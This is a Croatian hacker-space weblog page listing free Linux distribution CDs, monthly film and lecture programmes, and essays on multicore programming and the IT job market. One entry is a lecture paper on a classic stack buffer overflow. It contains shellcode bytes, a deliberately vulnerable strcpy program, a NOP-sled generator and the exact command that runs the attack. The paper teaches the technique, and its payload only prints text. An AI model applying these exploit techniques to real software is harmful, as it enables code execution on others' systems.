Quick jump:  What's new

 
Go to:
 
Weblog: TamTam   
in RazmjenaVjestina
RazmjenaLinuxDistribucija

Ovdje se nalazi relativno svježa lista CD-ova koje je moguće nabaviti na Razmjeni vještina. Za bilo koju distribuciju dovoljno je da dođete u:

preradovićeva 18, Zagreb
subotom od 12:00 do 15:00 na Razmjenu vještina,

  • da donesete praznih CD-ova koliko očekujete sprženih i
  • to je to (i da, ne morate ništa platiti ;) ).

Tom prilikom eventualno možete obećati da ćete CD iskopirati i pokloniti nekome kome treba. Ako poželite dobiti puno kopija odjednom iskoristite sav svoj šarm da nagovorite volontera da vam to u željenom roku napravi (u nagovaranju možete koristiti i novac ;) ).

Naručite CD-ove mejlom na: linuxburn@egoboobits.net, u mejlu molim navedite koja vam subota odgovara i Ante, Marcell ili Ivana će to učiniti. Tek pozitivan odgovor na vaš mejl znači da sa velikom sigurnošću možete doći po svoj CD. Hvala na razumijevanju.

AnimiraniCedeoviMali.gif

Trenutno dostupni CD-ovi (04/10/04):

Gentoo:

  • Gentoo Linux 2006.0
  • Gentoo Linux 2005.1-r1 DISC1 + DISC2 (packages)
  • Gentoo Linux 2005.1 DISC1 + DISC2 (packages)
  • Gentoo Linux 2005.0 DISC1 + DISC2 (packages)
  • Gentoo Linux 2004.3 DISC1 + DISC2 (packages)
  • Gentoo Linux 2004.2 DISC1 + DISC2 (packages)
  • Gentoo Linux 2004.1 DISC1 + DISC2 (packages)
  • Gentoo 1.4

Debian:

  • CARNet Debian
  • Debian Sarge 3.1 (DVD)
  • Debian Woody 3.0 (3 cd-a)
  • Debian Srge Stable 3.1 (2DVD-a)

KNOPPIX:

  • Knoppix 3.3
  • Knoppix 3.4
  • Knoppix 3.6
  • Knoppix 3.8
  • Knoppix 3.9
  • Knoppix 4.0 DVD
  • Knoppix 4.0.2
  • JUX - Linux za djecu (baziran na Knoppixu)

Slackware:

  • Slackware 9.1
  • Slackware 10.0 DISC1 + DISC2
  • Slax (LiveCD)
  • Slackware 10.1 (DVD)
  • Slackware 10.2 (DVD)

dyne:bolic:

  • dyne:bolic 1.1.1
  • dyne:bolic 1.2
  • dyne:bolic 1.3
  • dyne:bolic 1.4.1
  • dyne:boo (dyne:bolic + EGOBOO.bits)

Arch Linux:

  • Arch Linux 0.6

Mini distros:

FreeBSD:

  • NetBSD 3.99.7
  • FreeBSD 4.8
  • FreeBSD 4.9 (2 CD-a)
  • PC-BSD 1.0rc2 (2 CD-a)
  • DesktopBSD 1.0

Fedora Core:

  • Fedora Core 1 (2 CD-a)
  • Fedora Core 2 (2 CD-a)
  • Fedora Core 3 (DVD)
  • Fedora Core 5 (DVD)
  • Fedora Core 6 (DVD)

Mandrake:

  • Mandrake 9.2
  • Mandrake 10.0 Commnity Edition (3 CD-a)
  • MandrakeMove (LiveCD)
  • Mandrake 10.1 DVD
  • Mandriva Limited edition
  • Mandriva 2006 Free edition

SUSE:

  • SUSE LiveEval 9.0 (LiveCD)
  • openSUSE 10.2 Release
  • openSUSE 10.1 Beta 9 (3 CD-a)

Astaro Security Linux:

  • Astaro Security Linux

Klax

  • Klax-KDE-3.5-Alpha Live

Geexbox

  • Geexbox-0.98.6

Ubuntu

  • Ubuntu-5.10
  • Ubuntu-6.04
  • Ubuntu-6.10

Mepis

  • SimplyMEPIS-3.3.1-1
  • MEPIS 6.0 A1
  • SimplyMEPIS 3.4
  • SimplyMEPIS 6.0

Kubuntu

  • Kubuntu-5.10
  • Kubuntu-6.04

Vector Linux

  • Vector Linux 5.1
  • Vector Linux 5.1 Beta 1

Parsix

  • Parsix 0.7.1
  • Parsix 0.7.6

Pentoo

  • mPentoo 2006.0 Live

Kororaa

  • kororaa-2005-beta2-r1

Slax

  • Slax 5.1.0

PClinuxOS

  • PCLinuxOS p9.1
  • PClinuxOS p9.2

StressLinux

  • StressLinux 0.3.1-rc1

QNX

  • QNX Linux 6.3.0

Elatte

  • Elatte Live Alpha 4
  • Elatte Install Alpha 4

CRUX

  • Crux-2.2-TEST1

Hedinux

  • Hedinux-Live-Gnome-2006.1-Alpha2

VectorLinux

  • VectorLinux 5.1 Beta 1 Live
  • VectorLinux 5.1 Standard

ZenwalkLinux

  • ZenwalkLinux 1.2

SystemRescueCD

  • SystemRescueCD 0.2.18

CentOS

  • CentOS 4.3

original May 27 12:10pm

permalink
G33koskopJun07

Program za lipanj 2007.


@ May05_19:00-21:30
Izbor video izbora - pregled i izbor najboljih 15 minutnih video izbora (playlisti) sa različitih video servisa poput (YouTube, Google video, Daily motion...). Više o pravilima sudjelovanja na http://www.razmjenavjestina.org/[IzborVideoIzbora]

Playlist killed the Internet killed the video killed the radio star.


@ May12_19:00-21:00
Tko je ubio električna vozilo? (dokumentarni, USA, 2006)

Scenarij i režija: Chris Paine

Svjedoče: Ed Begley Jr., Phyillis Diller, Colette Divine, Mel Gibson, Tom Hanks, Ralph Nader..

Možda nam bude jako vruće, a možda se i smrznemo. Zbog globalnog zatopljenja. Džipovi i zlatni lanci nisu solucija pa baš za nijedan problem koji postoji danas u svijet. Vozila na električni pogon jesu. U matrici neznanja i krutosti sistema vlada, proizvođača automobila, naftnih lobija, pustih obećanja i konzervativnih kupaca nije teško zaplakati nad sudbinom već dovršenih električnih automobila. Genaral Motors je svoj model EV1 dotjerao već do prodaje na tržištu da bi tisuće komada nakon par godina otišlo u talionice. Tužno.


@ May19_19:00-21:00
Geek čita

čitamo neke super eseje i onda diskutiramo. scary.


@ May26_19:00-21:00
Regine Debatty: we-make-money-not.art.com predavanje

_Regine stoji iza jednog od najutjecajnijih blogova u području preklapanja moderne umjetnosti, dizajna i tehnologije (http://www.we-make-money-not-art.com).

Regine je full-time blogger, konzultant i kustos brojnih umjetničkih, tehnoloških i dizajnerskih festivala. Radila je kao profesor latinskog i grčkog, režirala dokumentarce za belgijsku televiziju, radila za radio Onda Cero u Španjolskoj i konzultant je MEDIA programa Evropske komisije u Italiji.

Piše o upotrebi i zloupotrebi tehnologije od strane umjetnika, amatera i hakera._



original May 20 5:34pm

permalink
MarcellMarsSvakodnevneDovitljivostiOstreFotkeDigitalnimFotoaparatomBezBlica

None


original May 20 4:35pm

permalink
HoćeLiMulticoreRevolucijaIzazvatiUrušavanjeSoftverskogEkoSustava
  • Hoće li multicore revolucija izazvati urušavanje softverskog eko sustava *

Sigurno su i do vas stigle vijesti koje već neko vrijeme šire razni promotori i evanđelisti o nadolazećoj softverskoj revoluciji izazvanoj prelaskom proizvođača procesora na multicore arhitekture. Naime nakon par godina lutanja i razbijenih glava pri pokušaju probijanja 'zidova' (od kojih su neki ozbiljno pridonijeli globalnom zatopljenju), proizvođači mikroprocesora su odlučili da im je dosta i neka sad malo programeri razbijaju glave. A programeri kao programeri, već krvavih čela i plavih podočnjaka, nakon što su proučili 1023 skriptna jezika i onda se vratili na php i javascript, nakon što su im nezahvalni korisnici prigovorili da im je GUI kojeg vrte virtualne mašine malo spor, odlučili su stvar ignorirati i ući u potpuni 'denial' mod. Menageri u industriji ili nemaju blage ideje što se događa ili su potpuno konsternirani svjesni troškova i muka koje ih čekaju u procesu prilagodbe na paralelne arhitekture.

 

Nije za zamjeriti braći i sestrama programerima na zapadu. Outsourcing i bijeg poslova na istok, dotcom katastrofa i bijeg kapitala tko zna gdje, otkazi i u najbolju ruku stagnacija plaća uzdrmali su duh mnogih. Stalne manje-više lažne revolucije i inovacije, hype do hype-a tehnologija koje pretendiraju riješiti sve razvojne probleme (zbog kojih se istinska poboljšanja ni ne vide) dodatno su pogoršale stvar. Malo po malo, prvo usmenom predajom a onda i javno na internetu, širi se glas koliko je programiranje kruh sa sedam kora. I vidi vraga, 2006. godine u USA je samo 7500 ljudi upisalo Computer Science, dvostruko manje nego u zlatnim godinama. Bill Gates se nedavno gotovo rasplakao pred US kongresom tražeći povećavanje kvota za Hb1 vize koje uglavnom dobivaju informatičari (trenutno 65000 godišnje, nekad 190000) i predložio potpunu reformu useljeničkih zakona vezanih za obrazovanu radnu snagu. U Europskoj nam uniji još gora situacija, iz Njemačka već duže vrijeme značajan broj najboljih informatičara i znanstvenika bježi u USA ili još dalje. Izgleda da su iscrpljeni i razočarani očevi programeri počeli sinovima i kćerima govoriti da upišu pravo, ekonomiju ili mambo-jumbo fakultete tipa life science (to je navodno 'next big thing').

 

A aždaja paralelnog programiranja se probudila. Thread-ovi, brave, monitori, semafori… aždaji se ne mogu ni približiti. Transakcijska memorija, aktivni objekti i poruke je možda mogu počešati iza uha. Evanđelisti naravno govore kako je tu velika prilika, kažu teško je ali promijenit ćemo svijet. Pioniri iz 50-tih i 60-tih godina koji su izmislili 99% tehnologija koje se danas koriste su ništa prema vama koji ćete osmisliti stvari zbog kojih će ljudi živjeti 1000 godina bez bolesti, napraviti ćete intergalaktički svemirski brod i potpuno kontrolirati klimu. A za nagradu ćete dobiti besplatni energetski napitak. Znate već foru, dođe pametni klinac s faksa a vi mu kažete 'ovo je jako težak i zanimljiv problem, baš me zanima jesi ga sposoban riješiti'. Jedan od deset klinaca riješi problem a vi lijepo opalite softverski patent koji će vam trebati u hladnom ratu patentima sa mrskom vam konkurencijom. Onih preostalih devet pošaljete na test, prodaju i podršku korisnicima.

 

Malo je nezgodno što klinci ne mogu ubiti ovu aždaju, nisu dovoljno obrazovani i nema ih dovoljno. Na fakultetima uče python, javu i c#. Funkcionalno i konkurentno programiranje prije 5 godina ja bilo 'so out'. OK, ne mogu klinci ali imamo one čudne likove iz HPC (High Performance Computing) zajednice, idemo vidjeti što su oni osmislili na svojim Cray i blueGene mašinama. Oops, pa oni programiraju u paralelnom Fortran-u i C-u, message passing interface ima 500 funkcija i kod za njega izgleda gore nego goto špagete. Kad dođe novi stroj ili arhitektura ključne dijelove moraju pisati nanovo. Programi se loše skaliraju. Teško im je preslikati probleme iz stvarnog svijeta pomoću uzoraka koje su dosad osmislili.

Ali postoje tri nova HPC jezika koje financira DARPA (X10, Fortress, Chapel) i razvijaju ih najbolji ljudi IBM, SUN-a i Cray-a oni će sigurnu riješiti problem. Neće ići, 5 godina poslije imaju samo draft-ove jezika i već su zastarjeli, o pisanju compilera i razvojnih alata ni ne razmišljaju.

 

Nema veze, kad je revolucija onda se osniva veliki broj start-up koji nose inovacije. Sigurno će mali ekspertni timovi u međusobnoj konkurencije iznijeti teret. Opet ništa. Nema rizičnog kapitala koji bi bio spreman investirati. Zbog politike softverskih patenata svi oni koji i umiju nešto napraviti će postati patent trolovi i neće ići u razvoj stvarnih produkata.

 

Open source zajednica možda ? Pa nisu ni tamo programeri više ludi da rade kao konji a drugi stječu milijarde na njihovoj muci.

 

Indijci ? Možda za jedno 50 godina, to će ostaviti za kraj kad preuzmu sav drugi software.

 

Miscrosoft ? Kako da ne, nakon 6 godina razvoja Viste 50% najboljih programera im je otišlo u mirovinu a 50% doživjelo nervni slom. A trebat će smisliti potpuno novu paradigmu operacijskih sustava. Zapravo da nešto ozbiljno naprave vezano za development po dobrom starom običaju će zadržati za sebe. E da je bar Sir Tony Hoare 30 godina mlađi.

 

Google ? Njima tek nije u interesu da desktop i peer-to-peer mreže opet zažive. Njihove farme servera nastavljaju rasti eksponencijalno, imaju svoj mapReduce i savršeno su sretni razvojem situacije.

 

Ljudi iz industrije igara koji su odgovorni za većinu stvarnih inovacija na desktopu zadnjih 10 godina će iskoristiti quadcore arhitekturu low-level threadingom zbog funkcionalne dekompozicije na AI, fiziku i grafiku, onda će i oni pokleknuti.

 

Uf, izglede da bi se stvarno moglo sve srušiti tamo daleko na zapadu. Nama ovdje koje se sve to ionako ne dotikavle previše ostaje širiti defetizam i gledati jel se može šta sitno ušićariti.

 


original May 18 7:09am

permalink
NemaProgrameraUHrvatskoj
  • Nema programera u Hrvatskoj, možda su u šumi *

Bio je pravi užitak gledati vijesti s ovogodišnjih Windays u kojima su glavne perjanice hrvatskog ITC sektora (kako to gordo zvuči) kukale i naricale (bitching and moaning) zbog nedostatke kvalitetne radne snage. Nabacivalo se brojkama tipa fali 2000 stručnjaka a za 5 godina će ih faliti milion i slične gluposti koje već predugo slušamo. Uvijek s istim apsolutnim brojkama i uvijek istim prijedlozima rješenja po dobro utabanom putu eminentnih gospodarskih stratega koji već 20 godina trkeljaju gluposti i zagađuju medijski prostor. Oni koji su u rovovima i prvim redovima znaju da je veća vjerojatnost dobiti na bingu nego zaposliti kvalitetnog čovjeka u zadnjih godinu dana. Samo potpuna budala nije iskoristila situacija i povećala sebi plaću za 30% ili držala poziciju radeći sa 5% kapaciteta. Takva situacija se naravno ne sviđa tamaniteljima kanapea po domjencima pa su odlučili zašprehati medije i prestrašiti milu nam vladu. Ekipa uhljebljena u Microsoft-u je najzabrinutija. Jako su pesimistični, idu tako daleko u prognozama da će zbog loše situacije cijelo gospodarstvo usporiti. Idemo vidjeti što se zapravo događa i kome zvone zvona.

 

Već neko vrijeme značajnom broju poduzeća u različitim područjima krenulo je jako dobro, rastu profiti, cijene dionica na burzi još brže rastu, događaju se velika preuzimanja. Svi vrte sa dionicama i svi se misle obogatiti. Nekako su doznali da ulaganje u IT infrastrukturu, koju btw tete iz birokracije ne znaju koristiti, na papiru značajno povećava vrijednost firme. Zadnji primjer je uvođenje SAP-a u lokalnog energetskog diva koji se ludo informatizira ali još proizvodi malo šporkiju naftu. Taj rast i optimizam zbog sada već sigurnog ulaska u EU doveo je do potražnje i povećanja plaća svima koji imaju bilo kakvo znanje.

 

Najednom su se oni u čijem je poslovnom modelu dominiralo preprodavanje cijene programerskog sata naručiteljima iz inozemstva našli u nezgodnoj situaciji. S jedne strane im ljudi bježe raditi za masne plaće u firme koje nemaju veze sa IT-om a sa druge im se gazde i naručitelji prijete Srbijom i Indijom. Imaju još maksimalno dvije, tri godine za restruktuiranje jer će onda još 50% radne snage pobjeći danom ulaska u EU. Veliki, Ericsson N.T. i Siemens PSE, koji zapošljavaju skoro 2000 ljudi u razvoju i testu to dobro znaju i počinju konkurirati na lokalnim poslovima grabeći sve veći dio kolača. Mali problem će nastati kad se vidi brojke koliko uvoze a koliko izvoze ali PR-ovci će to već nekako riješiti. Ericsson je tu u izvrsnoj poziciji zbog stabilnog istočnoevropskog tržišta, izvrsne povezanosti s FER-om i kao možda najvažnije dioničko je društvo s velikim brojem dionica na tržištu koje su počeli dijeliti mlađim zaposlenicima. Siemens PSE je pretrpio knock-down zbog udruživanja s Nokiom i vrijeme će pokazati hoće li se uspjeti oporaviti ali baš zbog toga sigurno će agresivnije krenuti na lokalno tržište. I eto ti neželjene konkurencije dosadašnjim ribičima u lokalnoj mutnoj baruštini.

 

Eh, lijepo li je bilo živjeti na sistem-integratorskim i clipper-based poslovima dobivenim devedesetih. Steklo se i jedrilica i auta više srednje klase (jer zna se tko kupuje motorne jahte i ferarije). Slalo se ljude da polažu potpuno nepotrebne certifikate koji su u ozbiljnom svijetu anti-referenca. Isplaćivalo se plaće na crno. Družilo se na konferencijama i domjencima. Pisalo se po stručnim časopisima. Nakon 15 godina poslovanja prosječno imaju 8 zaposlenih a ekonomska snaga im je na razini kartela kumica na placu koje drže zajednički stol. Da se bar jedan sjetio manevra tipa Luka Rajić (ili je to ipak bio Škegro) sad bi imali i oni 200 milijuna Eura. Tako to ide u životu, šofer da vlast onima koji znaju i ovi mu zarade milijarde. Inženjeri sa vezama zarade par miliona, ne znaju ili neće uložiti u ozbiljan razvoj i onda kukaju kad ne mogu više zarađivati na tuđoj grbači. Ne vidim što se loše može dogoditi ako propadnu ili jednostavno prestanu s radom kad se već nisu uspjeli udružiti i pokupiti novac bilo IPO-om bilo prodajom ozbiljnijim igračima. U svakom slučaju ubuduće će veći dio dodane vrijednosti otići na plaće i razvoj a ne na kupovanje nekretnina kao što je to bilo dosad.

 

Možemo se samo nadati da pritisak koji se trenutno vrši neće rezultirati dramatičnim smanjivanjem kvalitete na obrazovnim institucijama poput FER-a. Čak što više mislim da bi trebalo izvršiti kontraudar i prestati producirati ljude po narudžbi te doslovce prepisati program MIT-a ili Carnegie Melona. To što će neki od najboljih školovani po takvim programima moći otići vani može biti samo dobra vijest. Industrija ako hoće ljude po njihovoj mjeri neka plate ozbiljno školovanje na višim školama ili neka izađu iz posla. Dosad su uživali blagodati obrazovane i potplaćene radne snage pa nisu napravili ništa značajno.

 

Ako ćemo biti pravi neoliberali rast plaća znači da će sve veći broj ljudi upisivati fakultete i obrazovati se, komšije će kucati na vrata te tako povećati stranu ponude. Ipak je i hi-tech radna snaga samo roba i njena cijena će se kad tad uravnotežiti (na jedno 3-4000 Eura neto). Ako nam stanovi u velikim gradovima mogu biti skuplji od onih u Beču ili Berlinu i cijene dionica obarati sve rekorde zašto bi IT plaće zaostajale. Naravno neće to vječno trajati, kad se uspori rast prvo će se sjetiti popravljati PE omjere rezanjem troškova skupe radne snage, onda će zbog toga izgubiti tržišnu poziciju i sve će se srušiti u stilu 1929. Ali oni koji znaju neće previše brinuti jer će imati tvrdu lovu na računu pa će lako napraviti hop pa u Australiju, Kanadu, Kinu ili pisati open source u hladu kućerka na Hvaru. O globalizacijo lijepa li si.

 

Na moju veliku žalost ovaj ugodni scenarij se vjerojatno neće ostvariti. Pravi programeri i oni koji znaju ne žele raditi prilagodbu software svjetskih monopolista lokalnim kapitalistima. Oni žele napraviti novi Skype. A količina posla i zastrašujući nedostatak pameti na globalnoj razini koje će donijeti multicore revolucija i Internet N.0 će im otvoriti put.


original May 18 7:08am

permalink
MaliM
permalink
BufferOverflow

attachment:conf_paper.pdf ili
kompajlirate sa pdflatex conf.tex

%conf.tex
\documentclass[a4paper, 10pt]{article}
\usepackage[croatian]{babel}
\author{Alan Pavi\v{c}i\'{c}\\ \textsf{akapav@gmail.com}}
\title{Buffer overflow}
\setlength{\parindent}{0pt}
\setlength{\parskip}{1ex plus 0.5ex minus 0.2ex}
\addtolength{\hoffset}{-1cm}
\begin{document}
\maketitle
\vspace{1cm}

U ovom papiru \'{c}emo pokazati osnovne tehnike {\it buffer overflow
exploita}. S obzirom da je papir prate\'{c}i materijal uz predavanje na
istu temu, izostavit \'{c}emo uvod u x86 asembler i {\it calling
convencije} o kojima \'{c}e biti rije\v{c}i u \v{z}ivo

Osnovna ideja ovakvih programa je da iskoriste memoriju alociranu na
{\it stacku} za nekakve korisni\v{c}ke podatke, te da u nju upi\v{s}u
vlastiti kod. Samo aktiviranje tog koda se radi tako da se pregazi
{\it return aresa}, podatak koji se tako\dj{}er nalazi na stacku i
slu\v{z}i da bi funkcije znale odakle su pozvane te kuda se moraju
vratiti. Umjesto originalne return adrese podme\'{c}e se neka druga,
na kojoj le\v{z}i uba\v{c}eni kod nakon \v{c}ega se mo\v{z}e
izvr\v{s}iti proizvoljna akcija sa pod istim onim ovlastima koje je
imao i vlasnik napadnutog programa

Akcija koju \'{c}emo mi izvr\v{s}avati prilikom ovog eksperimenta je
varijacija na temu popularnog hello worlda

Po\v{c}eti \'{c}emo sa vrlo malim hello world programom koji je
napisan u gcc-ovom inline asembleru, a pisanje na ekran radi preko
sistemskog poziva (primjetite da ovdje radi jednostavnosti sistemske
pozive radimo sa staromodnim $int$ $0x80$ umijesto pomo\'{c}u mnogo
br\v{z}eg $sysenter$a)

Pisanjem programa u asembleru i pozivima direktno u kernel dobivamo
manje i neovisnije programe koji \'{c}e se lak\v{s}e mo\'{c}i
izvr\v{s}avati na nepoznatim ra\v{c}unalima

\begin{verbatim}
int main(void)
{
  __asm__ (" \
            movl $3, %edx;       \
            movl $LBL, %ecx;     \
            movl $1, %ebx;       \
            movl $4, %eax;       \
            int $0x80;           \
            movl $1, %eax;       \
            int $0x80;           \
LBL:        .ascii \"aka\";      \
");
}
\end{verbatim}

Iako malen i jednostavan. prethodni program ima ozboljan problem -- naime
u liniji $movl LBL, \%ecx$ baratamo sa apsolutnom adresom, te
ovakav komad koda se ne mo\v{z}e izvr\v{s}avati na proizvoljnim
memorijskim lokacijama. Zbog toga isti program jo\v{s} jednom
prepisujemo, ali umjesto apsolutnog $movl$a, korisitmo relativne $jmp$
i $call$. Obratite pa\v{z}nju da se $call$ koristi za dohvat adrese
na kojoj se nalazi string
  
\begin{verbatim}
int main(void)
{
  __asm__ (" \
            jmp LBL;             \
GO:         pop %esi;            \
            movl $3, %edx;       \
            movl %esi, %ecx;     \
            movl $1, %ebx;       \
            movl $4, %eax;       \
            int $0x80;           \
            movl $1, %eax;       \
            int $0x80;           \
LBL:        call GO;             \
            .ascii \"akb\";      \
");
}
\end{verbatim}

Sad imamo rade\'{c}u {\it relokatibilnu} rutinu. Sljede\'{c}i korak je
izbaciti sve nule koje se nalaze u binarnom kodu napisanog
programa. Naime, s obzirom da \'{c}emo koristiti $strcpy$ funkciju za
ubacivanje na\v{s}eg bloka byteova, moramo se osigurati da kopiranje
ne stane prije nego smo planirali. Klasi\v{c}na tehnika punjenja neke
vrijednosti sa nula je da se ta vrijednost jednostavno $xor$a sa samom
sobom. Program izgleda malo slo\v{z}enije, ali je i poprimio svoj
kona\v{c}ni oblik

\begin{verbatim}
int main(void)
{
  __asm__ (" \
            jmp LBL;             \
GO:         pop %esi;            \
            xor %edx, %edx;      \
            movb $3, %dl;        \
            movl %esi, %ecx;     \
            xor %ebx, %ebx;      \
            movb $1, %bl;        \
            xor %eax, %eax;      \
            movb $4, %al;        \
            int $0x80;           \
            xor %eax, %eax;      \
            movb $1, %al;        \
            int $0x80;           \
LBL:        call GO;             \
            .ascii \"akc\";      \
");
\end{verbatim}

U datoteci {\it prog1.py} \'{c}emo jo\v{s} jednom napisati isti
program, samo umjesto standardnih simbola za asemblerske instrukcije,
koristimo numeri\v{c}ke vrijednosti spremljeno u jedno $python$
polje. Do samih vriednosti smo do\v{s}li koriste\'{c}i program
$objdump$

\begin{verbatim}
seq = [
    0xeb, 0x17,       #jmp    LBL
    #GO:
    0x5e,             #pop %esi
    0x31, 0xd2,       #xor %edx,%edx
    0xb2, 0x03,       #mov $0x3,%dl
    0x89, 0xf1,       #mov %esi,%ecx
    0x31, 0xdb,       #xor %ebx,%ebx
    0xb3, 0x01,       #mov $0x1,%bl
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x04,       #mov $0x4,%al
    0xcd, 0x80,       #int $0x80
    0x31, 0xc0,       #xor %eax,%eax
    0xb0, 0x01,       #mov $0x1,%al
    0xcd, 0x80,       #int $0x80
    #LBL:
    0xe8, 0xe4, 0xff, 0xff, 0xff, #callq  GO
    0x61, 0x6b, 0x64
    ]
\end{verbatim}

{\it bindump.py} je program koji kao argument prima ime datoteke poput
prethodne, a generira binarni file na standardnom outputu (npr:
$python.py prog1$ gdje je $prog1$ ime prethodne datoteke)

\begin{verbatim}
#!/usr/bin/python -u

import array
import sys
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

mdl = __import__(sys.argv[1])

arr = array.array("B")
arr.fromlist(mdl.seq);
arr.tofile(sys.stdout)
\end{verbatim}

Da bismo se uvjerili da sve do sada radi, pokrenimo sljede\'{c}i
program\v{c}i\'{c} i na standardni ulaz mu treba dati izlaz iz
$bindump.py$. Ukoliko je sve u redu, program \'{c}e dobivene byteove
spremiti na heap, te \'{c}e ih izvr\v{s}iti kao da su regularna
funkcija

\begin{verbatim}
#include <stdio.h>
#include <stdlib.h>

unsigned char* read_stream(FILE *fp)
{
  static const size_t block_size = 1024;
  unsigned char* buff = NULL;
  int cnt = 0;
  do {
    buff = (unsigned char*)realloc(buff, (cnt + 1) * block_size);
    fread(buff + cnt++ * block_size, block_size, 1, fp);
  } while(!feof(fp));
  return buff;
}

int main(void)
{
  typedef void(*fun_t)(void);
  unsigned char *buff = read_stream(stdin);
  ((fun_t)(buff))();
  free(buff);
  return 0;
}
\end{verbatim}

Evo i "\v{z}rtve". Ovaj program \'{c}emo izvrgnuti napadu. Iako ovako
u laboratorijskim uvjetima izgleda vrlo naivno, strcpy iz velikog
buffera u ne\v{st}o manji se jo\v{s} uvijek mo\v{z}e na\'{c} i u
stvarnom svijetu_

\begin{verbatim}
#include <stdio.h>
#include <string.h>

void broken_fun(const char* src)
{
  char dst[256];
  printf("len: %d\n", strlen(src));
  printf("%x\n", dst);
  strcpy(dst, src);
}

int main(void)
{
  char buff[512];
  fgets(buff, 512, stdin);
  broken_fun(buff);
  return 0;
}
\end{verbatim}

{\it seqgen.py} je jo\v{s} jedan pomo\'{c}ni program\v{c}i\'{c}. S
obzirom da prilikom poku\v{s}aja ubacivanja na\v{s}eg koda u tu\dj{}i
program nismo uvijek to\v{c}no sigurni gdje se nalazi po\v{c}etak memorije
u koju se useljavamo ili gdje se nalazi return adresa koju treba
promjeniti, ovaj program nam generira na osnovu pravih_ bytova
koje \'{c}emo upotrebiti za exploit novu datoteku u kojoj se na
po\v{c}etku nalazi proizvoljan broj $nop$ instrukcija, a na kraju isto
tako proizvoljan broj return adresa. Sada nam poga\dj{}anje_ izgleda
puno lak\v{s}e

\begin{verbatim}
 #!/usr/bin/python -u

import sys
import array
import signal

signal.signal(signal.SIGPIPE, signal.SIG_DFL)

arr = array.array("B")
arr.fromlist([0x90 for _ in range(int(sys.argv[1]))]);
arr.tofile(sys.stdout)

sys.stdout.write(sys.stdin.read())

arr = array.array("L")
arr.fromlist([int(sys.argv[2], 16) for _ in range(int(sys.argv[3]))])
arr.append(0x0a0a0a0a)
arr.tofile(sys.stdout)
\end{verbatim}

Kao ulazne argumente skripta uzima 3 broja -- broj $nop$ova prije rutine
za napad, vrijednost nove return adrese te koliko puta \'{c}emo tu
adresu upisati na stack. Rutinu za napad prima sa standardnog ulaza i
samo je prepisuje na izlaz

Ukoliko program \v{z}rtvu_ iskompajliramo sa
\begin{verbatim}
gcc ovfl.c -O -g -o ovfl
\end{verbatim}
pokretanje napada se moze napraviti sa npr. 
\begin{verbatim}
./bindump.py prog1 | ./seqgen.py 103 0xbffff102 50 | ./ovfl
\end{verbatim}
Ukoliko ne pro\dj{}e iz prve, return adresu treba na\v{s}timati tako
da bude ne\v{s}to ve\'{c}a nego po\v{c}etak bufera (broj koji se
ispisuje iz $ovfl$ programa)

Ako vam je eksperiment uspio zna\v{c}i da nemate dobro pode\v{s}en
sustav, te kao root otkucajte
\begin{verbatim}
echo 1 > /proc/sys/kernel/randomize_va_space
\end{verbatim}
i eksperiment sada ponovite ;)

\end{document}


original May 11 5:10am

permalink
ZeljKoKaCarnetYoGaDomaci

ma sto je ovo


original May 7 3:18pm

permalink
G33koSkopFeb07

Program za februar 2007.


@ Feb06_19:00-21:00
Izbor video izbora - pregled i izbor najboljih 15 minutnih video izbora (playlisti) sa različitih video servisa poput (YouTube, Google video, Daily motion...). Više o pravilima sudjelovanja na http://www.razmjenavjestina.org/[IzborVideoIzbora]

Playlist killed the Internet killed the video killed the radio star.
----

@ Feb13_19:00-21:00
23 - Nichts ist so wie es scheint (igrani, Njemačka, 1998.)

Režija: Hans-Christian Schmid

Igraju: August Diehl, Fabian Busch, Dieter Landuri, Jan Gregor Kremp, Stephan Kampwirth, Zbigniew Zamachowski

Film snimljen prema istinitoj priči o grupi mladih hakera iz Hanovera u Njemačkoj koji su poneseni distopijskim slobodnim interpretacijama kako svijet funkcionira (tzv. teorijama zavjere) odlučili krenuti u radikalnu borbu protiv kapitalizma. U suradnji s KGB-om. Tragično.


@ Feb20_19:00-21:00
Izbor video izbora - pregled i izbor najboljih 15 minutnih video izbora (playlisti) sa različitih video servisa poput (YouTube, Google video, Daily motion...). Više o pravilima sudjelovanja na http://www.razmjenavjestina.org/[IzborVideoIzbora]

Playlist killed the Internet killed the video killed the radio star.
----
@ Feb27_19:00-21:00
The Root of All Evil? (dokumentarni, Channel 4, 2006.)

Kreirao: Richard Dawkins

Igraju: Richard Dawkins, Yousef al-Khattab, Ted Haggard, Richard Harries

_Iako se ograđujući od naslova na kojem su inzistirali pohlepni producenti, Richard Dawkins ustvrdit će u ovom dokumentarcu da je Bog Starog zavjeta vjerojatno najopakiji lik svih vremena sveukupne fikcije. Intervjuirao je vjerskog vođu Teda Haggarda, čija National Association of Evangelicals ima preko 30 milijuna članova, a koji vjeruje da Zemlja nije starija od 10000 godina, te da je Biblija u potpunosti i doslovno istinita. Ted Haggard je krajem prošle godine odstupio sa čelnog mjesta National Association of Evangelicals zbog optužbi o trogodišnjoj vezi s muškom prostitutkom i konzumiranjem droge.

Dawkins također intervjuira druge vjerske vođe poput velikog muftije Palestine, židovske rabije i druge...

Kaže: "Mi smo svi ateisti koji ne vjeruju u većinu bogova u koje je društvo ikad vjerovalo. Neki od nas samo idu za još jednog boga dalje."_

 
 

  Yeah, man!


original May 2 3:55pm

permalink
G33koskopMay07

Program za svibanj 2007.


@ May08_20:00-21:30
Izbor video izbora - pregled i izbor najboljih 15 minutnih video izbora (playlisti) sa različitih video servisa poput (YouTube, Google video, Daily motion...). Više o pravilima sudjelovanja na http://www.razmjenavjestina.org/[IzborVideoIzbora]

Playlist killed the Internet killed the video killed the radio star.


@ May15_19:00-21:00
Male i razmazane pokretne slike (moderirana diskusija)

Moderator: Klaudio Štefančić

_Još donedavno, najveći se dio našeg odnosa prema pokretnim slikama na Internetu odvijao oko što solidnijeg skidanja ( tzv. cuclanja ) piratskih kopija različitih, uglavnom dugometražnih filmova. Onda se pojavom velikih baza podataka s kratkim video filmovima (YouTube, Google video, Daily motion i dr.) puno toga promijenilo. I dalje regularno cuclamo filmove, no pojavom spomenutih internetskih baza i servisa koji nam omogućuju produciranje, pretraživanje, kopiranje i modificiranje video radova nemalo smo promijenili svoj odnos, ne samo prema video umjetnosti, nego prema umjetnosti filma općenito. S tim u vezi, dobro je pitati: je li You Tube za filmsku umjetnost i filmsku industriju, ono što je Napster bio za popularnu glazbu i njezinu industriju?

